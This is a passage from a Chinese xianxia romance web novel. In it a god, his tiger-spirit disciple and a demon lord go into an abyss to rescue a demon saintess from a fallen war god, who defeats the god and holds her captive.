但若他没记错,从前几位星君登顶神仙境时,都没有出现过如今日这般盛宏的瑞气之象。且观白虎星君身上的神息,虽比百花盛宴那次相见浑厚不少,但还是不比从前。 但在神尊之前,仙帝也没擅自开口询问。 圯上老人对那祥兆早已有了几分猜测,只是他没想到,这个时候,神尊会毫无顾忌地将白虎星君带在身边。 见女子垂着眸不说话,九黎默了默,说:“听话,回去。” 但白芷怎么可能乖乖听话。 为了不让九黎失控,她已经不顾一切后果,与他结了契。 桑尤能逃脱下星海,白芷很清楚,定是师尊几次神力失控,缚神索有所松动,才让桑尤寻到可乘之机。虽然几次双修之后,剥魂颇为顺利,但眼下,师尊的神力依然不稳,她不可能在此时躲在九重天让师尊独自去面对桑尤。 听到九黎的话,白芷委屈气闷地抬起头。 她还不够听话吗? 女子抿着唇,眼眸里明晃晃地倔强,“是你说要我留在身边的。” 一旁的仙帝越看越心惊,越听越觉得不对劲,脑子里莫名生了一种大逆不道的想法 四目相对之际,看着小虎兽委屈倔强的模样,九黎轻叹了口气,终是转身不看她。 “去魔界。”- 魔域上空,浑浊的紫黑色云涡不安地翻涌着,猩红闪电不时劈下,起伏的山峦边界上遍布焦灼残破的魔兵尸体,空中弥漫着刺鼻的血腥味和腐烂的魔息。 天兵抵达魔域之时,整个魔域出奇地死寂,连天兵脚下腾着的云雾都仿佛都染成污浊的灰色。 看着底下残骸遍野,九黎和白芷不由得都皱了皱眉。 来时仙帝已经做好准备,来到魔界大抵如同万年前,少不得一场硬仗要打。但他没想到看到的会是这样的场景,他细看之后神情大骇,“这难道是桑尤的手笔?” 仙帝以为,桑尤此番逃往魔界是欲携魔界攻上天庭,可眼前看到的屠戮场景,又不禁让他怀疑自己的猜测。 九黎没有开口,视线下垂,只见远方哐隆一声,魔域大门竟自内向外打开 听见声音之时,众仙将脸色肃然,纷纷召唤武器,随时做好迎战准备。 魔域之门大开之际,几十个重甲魔将手持玄铁巨盾分列两道,仙将们清楚看到,那巨盾上还挂着残骸血迹。后头继续奔涌出来魔兵步伐震得地面仿佛在摇晃,几个魔界最令人闻风丧胆的狼骑兵驾着魔兽从两翼铺开。而左前侧的那只魔兽不知被什么砍伤一个翼角,黑色血液浸透双眼,此刻正愤怒低吼着。 这明明是已经经过一场恶战的模样。 这场面越来越扑朔迷离,云层之上的仙兵仙将们脸色越来越凝重。 魔兵站定之际,一道披袍擐甲的身影从两侧让出的中道上大步流星地走出来。 白芷一眼认出那道熟悉的身影,不由得往前一步,嘴里喃喃道:“是后卿。” 随着后卿步步往前,仙帝执掌下令的手一寸寸往下。只待最后一放,众仙将手中的刀工箭弩便会立刻射向魔域。 白芷的目光在仙帝和后卿之间来回,袖摆上的手掌紧紧握着。 后卿当真要再次同仙界作对? 焦灼龟裂的山头,那些嵌在岩壁里本应莹莹发亮的魔晶爬满蛛网般的血丝,像一张密不透风的网,将整个魔界压抑地包裹住。 九黎冷然地看着往前的后卿,在仙帝即将下令之时,他瞥了白芷一眼,微微抬了抬手。 “拜见神尊。” 后卿在离九黎还有几步远的地方止步,单膝落下,执手行了一个古礼。 仙帝和圯上等人眼眸里都闪过一丝讶然。 九黎抬手叫起,垂眸看了一眼下方的魔域,“怎么回事?” “魔界内乱,后殒及其护卫军已尽数被歼灭。”后卿言简意赅将事情说清。 “桑尤呢?”既然魔界没有反叛之意,九黎也直接开门见山。 魔界这万年本就纷争不断,后卿隐忍多年,终于在近日布局将后殒和一众残余势力连根拔尽,只是他实在没想到,战场还没来得及打扫,魔界便迎来一位不速之客。 谁能想 到,被镇于下星海的堕神还有再出世的一日。 当然,他猜到桑尤因何而来。 当他将战场交给他的左卫善后,赶到妹妹颜芙所居之地时,她的魔邸早已被夷成灰散,身影早已不见。 “他从魔邸里带走我妹妹颜芙,目前不知去向。” 后卿率众魔出魔域,正是想去救颜芙,没想到正好碰见九黎一行。 说完后,后卿抬眼看了一眼九黎身后的几次欲言又止的人,在目光往下掠过两断相交的袖摆后,那才从战场杀红眼的冷硬瞳孔不显见地缩了缩。 “桑尤带走阿芙?”闻言,白芷再也忍不住从九黎身后窜了出来,惊讶地问道:“为何?” “阿芙何时与他结了仇?” 后卿噎了噎,之前幽冥间一见,有些话他没有同她说清。只是他没想到,九黎也没有告诉她。 但后卿抬眸看了眼仙帝身后几万天兵 这里不是个说话的地方。 不待他开口解释,身着浅黄衫裙的女子已经被那位梳理冷峻的男子握住手腕,拉到身侧。 “师尊。”白芷皱了皱眉,挣脱几下没挣脱开,索性放弃挣扎,“那我们快去救阿芙。” 去的路上再细说缘由,也不知道桑尤如今神智是否清楚,万一真伤了阿芙 九黎自然而然握住白芷的手,见她神情焦急,耐心地嗯了一声,算是安抚。只是转过头对着后卿时,语气又如霜雪清泠:“知道在哪吗?” 后卿点头,他们兄妹几人被曾他们的父亲下过封魂令。封魂令能抵御外界追踪,但在血脉相连者中,封魂令反而能加深他们之间的联结。 眼下的局势瞬间明朗,魔界并不欲谋乱,而找到颜芙,便能找到桑尤。 那么桑尤逃出下星海到底想做什么,便是见到他之后才能了然的事情了。 缉拿桑尤,仙将们的作用微乎其微。仙帝自然也明白这个道理,在九黎下令让他携仙兵先退回仙界之时,仙帝看了后卿一眼,犹豫一瞬,还是应下,未有多言。 “带路吧。”九黎侧首对后卿说道- 后卿凭着他与颜芙血缘感应,最终带着九黎他们停在一处无底渊口边。 不远处崖壁上,两个暗金色的古老神文熠熠生彩。 白芷站在九黎身侧,默默念出那两个字:“南渊。” 南渊,诞生于混沌初开之时,横亘天地之间,传闻深不见底,幽邃无光。 这条深渊连接天地,顶入九重,下接九幽,曾有不少仙魔为了传闻中的神药屡次想闯进渊内,但无功而返,且生还者寥寥。 久而久之,这个地方被称作亡灵之渊,无论仙魔都避之不及,恐沾其不祥之气。 对于白芷和后卿,这里都只是耳闻过的地方。 南渊之凶险世人皆知,叫人摸不着头脑的是,为何桑尤要大费周章把颜芙带到这里。他既能从下星海中闯出来,身上的堕神之力可想而知会是多么可怕的力量。 杀一个魔界圣女,于他不过是动动手指的事情。 白芷看了后卿一眼,怀疑来的路上他对阿芙和桑尤之间的事情还有所隐瞒。不过,桑尤堕魔万年,这是她第一次了解他堕魔的缘由。 为何一直没有深究原因,一则因为桑尤堕魔之后她险些魂飞魄散。二则她回九重天也是最近的事,先是忙于养伤,后来又同师尊纠缠到一块 总之,听完后卿所述,她内心震动无比。 也就是说,阿芙当初为了报杀父之仇故意接近桑尤,又在桑尤动情之后杀他无果引得他堕魔 虽只是寥寥几句话,却也可想而知他们之间的爱恨纠缠会有多刻骨。不然,桑尤不会堕魔,阿芙之前也不会险些丢了命。 白芷前后环视了一圈,目光触及到前方崖壁上不显眼的诡异纹路后,转头问身边一直沉默着的男子:“师尊,我们怎么下去?” “你在这里等着。”九黎脸上仍没什么表情,只是也没看她,反而对着后卿说道:“你跟我进去。” 她精力倒是旺盛,来时同后卿说了一路,现在还这般精神抖擞的模样,可想而知平日没一会就喊累喊痛又是骗他的。 “” “师尊,我也要进去。”都将她带到这了,哪里还把单独把她落在门口。 “能安静?” “”白芷咬了咬唇,原来一路上冷冰冰的,是嫌她吵。 “嗯。”她含糊应了一声,乖乖闭嘴跟在身后。 第122章 第122章想知道她爱不爱你吗?…… 踏入渊口的刹那,天光完全被隔绝,渊中黑雾如潮,眼前一片黑暗。 九黎和后卿同时布起防护罩,白芷紧跟在九黎身边,借助后卿递来的夜光珠把脚下嶙峋的岩壁照看得一清二楚。 愈靠近岩壁最窄处,空气中的威压越重,像是有无数双手愈拉扯撕开他们身上的防护罩。 耳边模糊听见从渊底传来的低沉絮语,那声音似哭似笑,似人哭又似兽吼,古怪瘆人。 九黎脸色倒是平淡,见后卿身上的防护罩即将被撕碎,他指间掐出一抹灵力。 后卿身上威压忽地一轻,他抬眸看向前方,见女子紧紧抓着男子衣袖,他收回目光,垂下眼睫,掩下心底淡淡苦涩。 踏落渊底的前一刻,眼前忽然豁然开朗。 ——漫天黑雾如帷幔般退散,一片世外之境赫然浮现在眼前。 青山叠翠,烟岚缭绕,溪水潺潺,夹岸是开得艳丽的不知名花朵,尽头处可见几间竹舍,檐角挂着风铃,随风轻响。 谁能想到,那传言中的亡灵之渊,竟是这样一处遗世独立的净土。 只是,入口处唯一通向里头的小道上无一脚印,可见荒无人烟。 后卿手指在天元间一点,而后睁开眼,指着前方竹舍,肃然道:“在那里。” 九黎和白芷顺着他所指方向同时抬眸看了过去,而后提步往前走。 入口与竹舍不过百米,只是才走十几步,前方突然弹出一壁暗红色的结界。 那结界在瞬息之间凝成一道绯色漩涡,漩涡在他们抬手抵御时扑面而来。 见状,九黎抬手一挥,将漩涡挥退消散。 “终于来了。” 结界内,一道身着墨色衣袍的修长身影自竹舍中踏出。 他的声音如浸过寒潭的醇酒,低沉中带着金石相击的冷冽,熟悉又陌生。 白芷循着声音望了过去,看到桑尤的那一刻,她心中一骇。 万年不见,从前凛然威严的战神桑尤,如今眼尾缀着暗红的堕神纹,将那张如同刀削斧刻的俊冷脸庞生生衬出几分妖异。可无论从前和现在,他身上与生俱来的威势丝毫未变。 看到他们,他丝毫不惊讶,唇角噙着几分慵懒笑意,邪气和威严在他身上矛盾又和谐。 见到桑尤,后卿握成拳的手掌青筋横生,他往前几步,质问道:“你把我妹妹怎样了?” 白芷也来不及追忆从前的桑尤,她也从九黎身后走了出来,“桑尤,阿芙在哪?你放了阿芙。” 桑尤目光从后卿身上扫过,在白芷身上停留一瞬,又落到九黎身上。 他忽地嗤笑一声,“能怎么样。” 这位魔界圣女,可从来不怕死。 即便被他这位人人憎恶的魔神抓到这里来,依然能冷着脸,一句求饶的话都没有。 这样冷心冷意的女人,他能拿她怎么样。 桑尤下颌微微转了转,“人在那呢。” 不过,放她走,绝无可能。 虽然桑尤看着很可怕,但有问必答,好似好说话的不行。怎么一切都跟她想象的不同,白芷皱了皱眉,难道桑尤前方设了什么陷阱,故意引他们过去? 但她心里又清楚,桑尤不屑这种不光明磊落的手段。 况且,师尊神魂有伤,他们三个加起来也不一定是他的对手,桑尤实在没必要同他们玩手段。 所以阿芙应该就是被关在那里了。 见九黎点头示意,白芷犹豫了下,跟着后卿一起往西边的竹舍找人。 桑尤的确没有将他们看在眼里,他既然能从下星海出来,这世间已无人是他的对手。 就算是眼前,他昔日的好友,这位九重天神尊,九黎- 清风徐徐,日光如融金,。 没有箭弩拔张的针锋相对,曾经九重天最出众的两位神祗站在一块,一者如皎月清辉,一者如永夜暗影,似乎叫人忘记岁月流逝。 只是时间从来无情,曾经那位身披流银长袍,执剑守三界的傲冷神君,如今苍白肌肤下隐约可见暗色咒印。他的面容不减俊美,却多了几分凌厉的邪气。 “值得吗?”桑尤的嗓音低沉,带着深渊回响般地重音,似嘲似叹。 似乎没想到桑尤开口的第一句话会是这句,九黎皱了皱眉。 曾经说过的话犹如一把回旋刀,万年之后掉转方向扎进眉心,嘲笑他当初的无知和狂妄。 两人之间的空气骤然紧绷,无形的神力在虚空中碰撞,旁边花叶凋落不止。 而就在脚下的地面即将崩裂刹那,桑尤忽地嗤笑一声,漫不经心地拂袖散去威压。 “罢了,玩笑而已。” 能从下星海出来,他自然知道九黎神力有大损。缚神索连九黎之神魂,没有人比他更清楚九黎的情况。 只是桑尤一开始倒也想不通有何事能让这位冷面神尊神力波动如此之大。 但刚刚在他们师徒身上扫了一眼,他心里便已了然。 这位天生神明,终究也折在女人身上。 就像他。 只是九黎幸运些,刚刚对峙时,他看到他腕间契印。 万年前将桑尤镇压在下星海时,九黎开口问他的第一句话,便是‘值得吗?’ 那个时候他不懂,也无意深究桑尤心境。 于当时的他而言,桑尤为了一个女子道心失守,负了父神和母神的期待,作为好友,他心中有惋惜,有失望,唯独不曾试图理解。 但如今,他大概懂了。 “对不起。”九黎声音恢复温润,多年好友,他应当为当初的自大向桑尤道一声歉。 相识千万年,这还是桑尤第一次从九黎口中听到这样低姿态的话语。 轻风一吹,两人似乎又回到曾经并肩立于云端,睥睨众生的往昔。 一位是三界最潇洒无畏的战神,一位是生来神骨,御控百神的母神之子。 长久的岁月让两个拥有着同样骄傲的神祗成为朋友,他们曾是最了解彼此的人。 桑尤深渊般暗红的眼眸闪了闪,微微泄露出一丝错愕,只不过瞬息之间,又消弭无踪。 “难得。”他嗤笑道。 可惜叙旧只是一时,九黎没有忘记来这里的缘由。 天生神灵,清冷是从骨子里透出来的,九黎看着桑尤,开门见山:“怎么样才肯放人?” 放人? 桑尤脸色立马沉了下来,广袖间幽暗的火焰燃起。他耳尖动了动,那边竹舍动静可不小,这样清灵好听的声音,她就吝于说给他听。 想起女子见到他时那副讶异而厌恶的模样,直到刚刚仍是冷冰冰一句话也不愿开口,桑尤心里的怒火越燃越盛。 不知道的,还以为当初要对方死的人,是他。 明明是她骗了他,明明是她要杀他,明明是她害死了他们的孩子。 为什么,那个女人敢在他面前摆出一副漠然的样子。 她看着他的眼眸如同一潭死水,最锋利的爪牙也剜不开她的冷漠。 她无非料定他舍不得杀她。 但不杀她,他也一定不会让她好过。他有无数种折磨她的办法,既然她这样厌恶他,他偏偏要将她留在身边。 堕魔之神,非魔非神,七情如刃,六欲似火,稍有不慎便会焚尽理智。魔息在血脉中翻涌,暴戾与狂躁如跗骨之蛆,桑尤突然失了耐心。 他瞥了眼九黎,冷冷阐述事实,“你不是我的对手。” 顺着桑尤的目光,九黎也看了眼竹舍里走出来的人儿。 “不试怎么知道?” 竹舍前,身着紫衣的女子被黄衣女子搀着走出来,原本还略含几丝笑意的嘴角在转眼看到桑尤时瞬间抿紧。 怒极反笑,桑尤看着这个想从他手里抢人的昔日好友,嘴角勾起一抹讥诮的弧度。 “我不是从前的战神桑尤,你也不是从前的九黎。” 从前的他们,对天下万物持有同样的悲悯,没有偏爱,所以没有软肋。 但现在不同。 他不同,九黎也不同了。 有软肋的人,可以坚硬得无懈可击,也可以,不费吹灰之力,不击而中…… 这个道理,他们都明白。 炽白雷霆在桑尤手中举起无烬剑后破云而来,十几道暗红业火同时落向竹舍。而后,桑尤一路横推,灵力与刀剑碰撞,水与火交织涤荡。 不多时,桑尤轻笑挥动起滔天黑焰,完全将地上几个伺机逃跑的人儿围困在黑焰中。而他看着瞬息间逼近自己的身影,骨节分明的手掌接连发出几道攻势…… 脚下山河崩塌成渊,两位曾经让三界屡次拿来对比的神君在一个个交织的结界中以最恢弘的方式厮杀…… 可如桑尤所言,九黎神力几次失控,如今不是他的对手。 最后一击,两人咬着牙连退数十步,站定之际,九黎猛地咳出一口血。 水晶被火焰彻底覆压,九黎的锦白长袍被暗火侵蚀出斑驳裂痕。 他的背脊依然挺得笔直,可肩上斑驳的衣襟下露出狰狞的伤口——右侧肩臂被无烬剑剑气斩出两道深可见骨的伤痕,边缘处不断逸散出细碎光尘,鲜血混着暗紫魔气,顺着衣袍纹路滴落时,在虚空中灼烧出嘶嘶作响的焦痕。 结界外不知何时多了一个浅黄身影,疯狂试图撕裂结界,五爪在结界上拉出长长的血印。 看着九黎眉间不折的傲意,再扫一眼底下那对不顾安危想冲出黑焰中的兄妹,桑尤眼神越来越冷。 他在火光中朝九黎走近,威压将九黎逼得几乎站不住。而后,他随手往结界上一挥,那黄衣小人儿忽地单膝跪下,唇角落下殷红血迹。 如愿看到眼前人平静眼眸浮起波澜, 如愿看到眼前人平静眼眸终于起了波澜,桑尤嘲讽似地勾了勾唇角。 九黎这般在意这只小虎兽,那他倒想看看,这只小虎兽是不是也和那个女人一样狠。 没有人比他更清楚,女人不爱你的时候,有多狠厉决绝。 桑尤勾着唇,走到九黎身边,“想知道她爱不爱你吗?” 他的声音低沉蛊惑般,“就当我还你一个人情。” 话毕,垂天之云以势不可挡之势压下来,两相碰撞之后,九黎重重跌落在地,鲜血染红雪白衣襟。眼前一片黑影,桑尤的身影与破碎的天光交织成一片混沌的暗影。 恍惚间,九黎看到一道浅黄色的身影向他翩跹而来。 她好像在哭。 他不喜欢她哭。 他颤抖地伸出手,想去触碰那张让他心颤的容颜,可指尖触碰到的只有灼烫的火焰。某一 瞬间,他的世界彻底寂静下来。 第123章 第123章一开始就不能贪心 就在九黎倒下之际,挡住白芷的结界随之溃散。 桑尤指尖翻转着的墨色魔纹正向九黎所在,白芷急得化回原身,蓄力一越,几乎在魔纹落下瞬间将九黎叼离。 魔纹所落之处瞬间化作齑粉。 后卿很快也带着颜芙从黑焰中逃出,见白芷托着九黎落地,他急赶到白芷身前,为他挡住桑尤无差别挥过来的攻击。 “桑尤,你疯了。”白芷边躲边忍不住斥道。 只是那声音几乎都传不进桑尤耳边,他的双眸已彻底化作深渊般的黑,长发狂舞,周深缠绕的魔气将方圆百丈尽数夷为焦土。 显然,几次攻击落空之后,桑尤再没什么耐心陪他们玩。只见他袖袍随意一挥,浓稠的煞风如巨兽般朝白芷师徒和后卿所立位置咆哮而来。 周遭被卷入狂风的物件瞬间被碾成灰尘,而桑尤站在云层之上,居高临下地俯视着,面上仍是那副漫不经心的冷笑。 流云如染血,来时日光璀璨,青山叠翠的清丽美景早已被卷成一片废墟。 “住手” 魔气滔天,着紫色云烟裙的女子竟逆着猎猎咆哮的狂风一步步朝那立在风暴中心的男子走近。踏着满地的废墟与灰烬,女子的发丝被风扯乱,只是那眼神却丝毫没有畏惧。 “阿芙” 后卿逆着风伸出手想将颜芙扯回身后,却被突然临空而来的剑气震伤肺腑,撞到岩壁后连吐出几口鲜血。 狂风中,颜芙指尖用灵力凝出一把锋利的刀,架在自己的脖颈处。 “让他们走,否则” “你敢威胁我?”桑尤看着那女子一步步走近,眼底血芒森森似狱,“颜芙,你凭什么威胁我?” 颜芙一步步走近,刀身越压越深,猩红血迹很快滑落脖颈,渗入衣裳之内。 “放他们走。”她纤弱的身躯仿佛下一秒便要被风刮倒,语气轻巧而固执,“桑尤,你知道我做得到。” 滔天魔焰乍然盛燃,桑尤那双墨色双眸沉得吓人,他冷冷地看着颜芙一寸寸将刀压进脖颈内。 颜芙在赌,赌桑尤不会甘愿让她轻易死去。 滔天魔焰铺天盖天向她倾泄而来,颜芙下意识地伸手挡在眼前。余光中,一道身影快速掠过,腰身被扣住 赌对了。 只是还来不及庆幸死里逃生,颜芙的手忽地被反剪到身后,以一种奇怪的姿势贴在男子身上。 鼻翼间熟悉的香味,终于揽在怀里的柔软实感,桑尤眼里的血光缓缓消散,墨色渐渐褪淡,理智再次占了上锋。 颜芙生了一张欺霜赛雪的好容貌,杏眼含雾,唇若桃瓣,那纤细脖颈仿佛稍一用力便能折断,让人见之生怜。 只是,能与白芷成为志趣相投的好友,怎么会是真柔弱可欺的弱女子。 此刻,她的手被桑尤缚住,腰身也被紧紧箍住,这样受制于人,没有尊严的姿势终于让她那张一直冷若冰霜的脸多了些难堪表情。 “桑尤,欺负女子你算什么好汉。” “你不是想报复我吗?” 她胸口气得剧烈起伏,眼底烧出灼人怒意,桑尤懒懒扫了一眼,这幅摸样可比之前好看多了。 “有种你杀了我啊。” 相视之后短暂的沉默,桑尤皱了皱眉,将女子手腕狠狠压下。 “报复?”男子的眼神慢悠悠落到那张气得皱眉的俏脸,又停留在那艳如桃花的唇瓣上。 “呵,当然要报复。” 报复她,有的是时间。不过眼下,要先把眼前碍眼的人处理掉。 见桑尤突然冷笑看着不远处,颜芙到了嘴边的狠话突然哽在嘴边。她恍然意识到,桑尤口中的报复是什么意思。 他舍不得让她死,却可以让她在意的人死,这才是对她最好的折磨。 趁颜芙拖住桑尤之际,白芷正凝神将身上的灵力渡到九黎身上。 多亏她一直戴着之前九黎在幽冥间送她的那只手镯,眼下,那手镯上精纯的灵力源源不断地渗入九黎体内,他肩臂上的伤口也终于慢慢止住血。 只是,白芷没想到,桑尤还想赶尽杀绝。 看着一步步走近的身影,白芷只能伸手挡住九黎身前,加快传送手镯中的灵力。 “桑尤,若你敢再动他们,我保证,你能得到我的只是一副尸首。”颜芙被桑尤搂在怀夕,被动地往前走。 可无论她再说什么,他都不为所动,指尖的魔纹越来越浓厚,颜芙的心也越来越焦灼。 前方,哥哥和阿芷被火焰逼得连连后退,若桑尤再靠近> 什么都顾不得了。曾经许下的誓言,在他面前撂下的狠话,什么都没有哥哥和好友的安危重要。 情急之下,颜芙主动将手伸入那只正凝聚魔纹的手心里,不顾灼烫,将一根根手指挤进他的指缝 桑尤的注意力终于成功被颜芙转移。 掌心被撑开,他先是皱了皱眉,而后垂眸瞥了一眼。 她对别人总是那般在意。 即使手腕被攥痛到闷哼出声,她仍执拗地握紧他的手掌,甚至为了阻止他出手攻击,她主动环上他的腰间,将小脸贴在他的心口- 桑尤没有放白芷他们走,在颜芙的哭求下,他烦躁地伸手一挥,将他们扫到渊底的某处犄角旮旯。 好在不远处恰好有座小茅屋,简陋,好在桌椅皆齐,至少让他们有个落脚的地方。 后卿的伤也很重,好在不似九黎那般昏迷不醒,还能帮着白芷把九黎挪到屋内。 将九黎安置到床上后,白芷立刻翻看他身上的伤口,其他地方还好,只是右侧肩臂上那两道伤口深可见骨,魔气畅通不阻往经络里窜 白芷双指结起印,立马用灵力清理着他伤口上的魔气。 她身后,后卿在旁边站了一小会,垂了垂眸,便转身往外走。 白芷全心神在集中在九黎的伤口上,并未注意到身后动静。看着那缓缓吞噬魔气的灵力,白芷着急地咬了咬唇,用灵力清理太慢了。 她把九黎的手臂放回床上后,翻转掌心时忽地听到门嘎吱一声,白芷下意识往后看。 “后卿。”白芷叫住那道身影。 闻言,后卿开门的手顿了顿,回头,眼神疑问:“怎么了,需要我帮忙吗?” 神魔之力天生相斥,后卿不留下,也是因为知道自己帮不上她什么忙。且被桑尤那几次攻击,他现在体内气息紊乱,眼下跟废人也差不多。 白芷摇了摇头,望着他,眼角浅浅含笑,“你过来。” “”后卿顺从地走回床前。 “伸手。”白芷说。 若忽略他们身上的狼狈,其实白芷丝毫看不出才经历过一场恶战的模样。 此时她坐在床沿,仰着头浅笑,眼中光彩仍旧亮得惊人。 见后卿手依然垂着,白芷眉毛挑了挑,示意他抬手。 “还好我从前搜罗了不少好东西,”她边说话边从乾坤袋掏出几个瓶瓶罐罐,逐一看了一下,最后挑出两瓶放到后卿掌心,“这两瓶。” “放心,这是我当初从麓林宝库里拿出来的,上古神药,没什么忌讳,应该能助你调息养气。” 见后卿脸色不算好看,想到还在桑尤手里的阿芙,白芷遂多安慰几句:“你放心,我见桑尤好似不是真的想伤害阿芙,等我师尊醒了,我们再想想办法,一定会把阿芙救出来的。” “桑尤刚刚既然没杀我们,眼下倒不怕他追来,你且好好休息” 魔主一脉承老魔尊血统,都生了一副摄人心魄的好样貌。尤其后卿,狭长的眼尾微微上挑,为深邃而冷峻的样貌平添几分侬丽。 见女子脸色苍白,还在极力安慰他,后卿忽地开口打断她,“嗯,别担心我们了,先照顾好你师尊吧。” 见他接了药,白芷遂点了点头。 是的,先帮师尊疗伤要紧, 见女子回过身,后卿盯着她的背影,将手心的药丸握紧,而后,毫不留恋地转身出门。 不属于自己的东西,从一开始就不能贪心- 颜芙是被桑尤抱着回竹舍的,她挣扎不了,也因为哥哥和白芷还受制于他,她不敢像初见他时那般正颜厉色。 的确是她,害得他堕了魔。 前尘往事在前,他杀她父母,屠戮她的族人。她也害他堕魔,让曾经高高在上的九重天神众叛亲离,跌落尘埃。 他们之间,早已分不清是谁亏欠了谁。 而今,颜芙也是第一次真切感受到堕了魔的桑尤有何等可怕。她原本以为示弱后,桑尤定会借机好好折辱她。 被他抱着扔到竹舍小榻的时候,她咬着牙,极力维持表面平静。 即便被折辱,她也不愿意让他看笑话。 桑尤身 上的暗火还没完全沉寂,眼尾暗红的堕神纹亮得叫人心悸,被他轻飘飘一扫,颜芙的心里便有些发毛。 他扔下她后,便径自走出屋外。颜芙猜他是故意晾着自己,他不是说有千万种方法折磨她吗?所以现在应该是故弄玄虚吓死她? 但还没等猜测完,那脚步声又折了回来。 颜芙攥紧袖口的手指节发白,指甲几乎要嵌入掌心,但仍将背脊挺得笔直,她甚至主动冷侧过脸看他一眼。 只是桑尤并不看她。 窗外的日光斜照进屋内,灰尘悬浮在光影中,水在盆内荡漾的声音无限放大 只见桑尤把手里的水盆放到桌上,伸手进去,拎干了一块湿布出来。 这又是什么花招。 看着那身影缓缓走向自己,颜芙看着平静,实际上后颈的汗毛也都防备地竖起来。 而桑尤似乎毫无所察,拉了一个凳子,坐到她跟前。 一切动作都像被放慢延迟一般,她看着桑尤拿着那块拎干的湿布,一点点朝她靠近。 强忍着没有躲开,她倒想看看,他到底要怎么折磨她。 可没有想象中的疼痛或窒息,那块布贴上她的脸颊。 笨重的擦拭,那布粗糙,摩擦间产生的痛感让颜芙忍不住皱了眉。 怎么,她的脸很脏不是? 姿势虽笨拙,却细心,任何一处脏污都没放过,待眼前小脸又恢复白净,桑尤才把那布随手扔到桌上。 颜芙也下意识看过去,布子上赫然多了几处暗红。 他在替她擦拭血迹? 那血迹或许是哥哥的,也或许是阿芷师尊的,总之,还不是拜他所赐吗? 即便受制于人,颜芙也不想那么快认输,她胡乱拉了拉并不凌乱的衣裙,下颌高高扬起,“一个清洁咒就能解决的事情,怎么敢劳烦您大驾” “唔”突然贴上来的温热,像一道不容违逆的敕令,颜芙甚至来不及惊愕。 那张嘴不开口便罢,一开口吐出的话便像刀子,桑尤有些没有耐心了。 她想划清界限,他偏偏不让。 他手掌钳住女子后颈,指节抵住她的命门,迫使女子只能抬头承受这个近乎暴烈的吻。 第124章 第124章如珍似宝捧了那么多年…… 陌生的裹挟着血腥的味道,即便是万年前两人闹得最僵的时候,颜芙也没遭受过桑尤这么蛮横无礼的对待。 许是神明寡欲,他从前并不算热衷与她做那种事情,便连亲吻,也常常是她主动。 可眼前的桑尤,与从前截然不同。 他蛮横地抵开她的贝齿,舌尖碾进她口中每一寸退缩的软肉,连她的呼吸都要攫取尽。 她的挣扎被轻易化解,几乎动弹不得。 像是烈焰要即将焚尽荒原,毁灭前也势必要占有 直到血腥味混着淡淡咸味在舌尖炸开,桑尤才似乎找回些许理智。 怀里的女子不知是惊惧还是被吻到无法呼吸,她的身子止不住地颤抖。 那张桃花般殷红的唇瓣晶莹透亮,唇角处因挣扎被咬破,此时,眼眶被逼得通红,泪珠成线般掉落 见他撤开盯着她看,她蓄满的泪水便在眼睫上颤颤巍巍地悬着,倔强地不肯落下。 下唇也被她咬的发白,印着一排小小的齿痕。 明明再眨一下眼,泪就会决堤。可她偏偏直直地瞪着他,带着几分不甘的怒意和受伤的骄傲,硬是不肯吐出一句软话。 但有人就是看不得这些。 将人搂到膝上,桑尤抬手盖住她的眼眸。 泪水软绵,沾湿他的手掌心。 他看不见,就不算她输。 直到女子的啜泣声慢慢熄下,桑尤才把手从她眼眸上拿开。 他用食指在她眼尾脸颊上轻轻擦拭湿痕,动作终于不似刚刚粗暴,甚至轻得叫人心尖发痒。 被他擦过的地方热热的,虽不至于烫,但痒痒的。到底还是在他面前哭了,颜芙不自在地想躲开。 见女子还没吃够教训,不仅躲开他的手指,还敢推他,刚平复下的燥意又隐隐往上钻。 桑尤擦拭泪珠的手慢慢下移,卡在女子下颌处。 “怎么?不是死都不怕吗?” “只是一个吻,就吓哭成这样?” 指腹下的肌肤柔软得叫人舍不得挪开,桑尤盯着那双倔强的眼睛,吐出来的声音极冷。 “又不是没吻过。” “” 这么不要脸的话竟然是出自眼前人之口,颜芙猛地瞪大眼睛,双颊因羞恼涨得通红,“你——” “桑尤,你混蛋。” 羞愤交加,又受制于人,她堂堂魔界圣女何时被别人这样轻待过。 桑尤不肯放开她,眼眶又酸得很,颜芙只能扭过头不看他。 从前作为九重天高高在上的神君时,桑尤冷着脸的时候看着已十分不好相处,更别说如今堕了魔,稍有不耐,身上的暗色火焰便丝丝缕缕在衣袍上窜动叫嚣。 虽然颜芙身上被下了咒,这些火焰不会伤到她,但看着总是瘆人。 桑尤极力压抑着心底的燥意,他垂眸扫了一眼女子,见那眼眶似乎又开始蓄起点点晶莹,原本冷峻的眉眼一压,像是有几分不耐。 “别哭了。” 颜芙也不想哭,她咬着唇,只觉得委屈。 为什么他就是不肯放过她 越想越委屈,越想越控制不住眼泪…… 见女子眼眶越来越红,桑尤薄唇抿成僵硬的直线,衣角的火焰似乎随时要迸发。 只是几息之后,他还是生硬地开了口,“我说,别哭了。” 颜芙忽然觉得很累,她真的不想再同桑尤周旋下去。 无论他想做什么,想让她认输,求饶,或是什么别的,她都可以,只要他不要再出现在她面前。 “你放了我吧,桑尤,我承认当初我不该勾引你,我认错,我道歉,或者你要怎么样,我都可以…。” “颜芙。”桑尤冷声打断。 气氛忽地如冰冻凝滞。 而颜芙突然被这声低斥吓到,也愣了愣,下意识看向男子。 “” 单是看他的表情,颜芙就知道再说下去他又要开始发疯。 也是她脑子一时乱了,桑尤怎么肯放过她。 但无论如何,她不想再连累人了。 “那你放了他们。”颜芙不像平时目光躲闪,她毫不避让地迎上那沉甸甸的目光。 这幅毫不相让,得寸进尺的模样总好过前几日那副了无生趣的模样,良久的对视之后,桑尤主动移开目光。 “放了他们你就不哭?” “嗯。”颜芙点头。 “行。” “真的?” 他说的话她总是不信,男子脸又沉了下来。 “再说就杀了他们。” “”- 渊底的时间似乎与凡间无异,斗转星移,日升月落,让人错觉只是走进了某个世外桃源。 这几日白芷不知道给九黎喂了多少灵药,只是都不敌他灵力流逝的消耗快。 九黎一直没醒,好在几个日夜过去,他身上的伤口终于在白芷用尽各种方式的疗愈中慢慢愈合。 桑尤大抵是在某处落了结界,总之,后卿和白芷几次分道探路时,总是鬼打墙一般回到原地- 桑尤的确说话算话,再加上颜芙又被迫付出一些代价,一个夕阳西下,天边堆边落霞的日子,他终于主动现身了。 彼时,白芷正在床边打着瞌睡,门外后卿靠着茅舍外的一株梨树,正盯着落霞发呆。 人心便是这么神奇,被困在这样一处荒凉的地方,却让后卿久违感受到一种真正的平和。 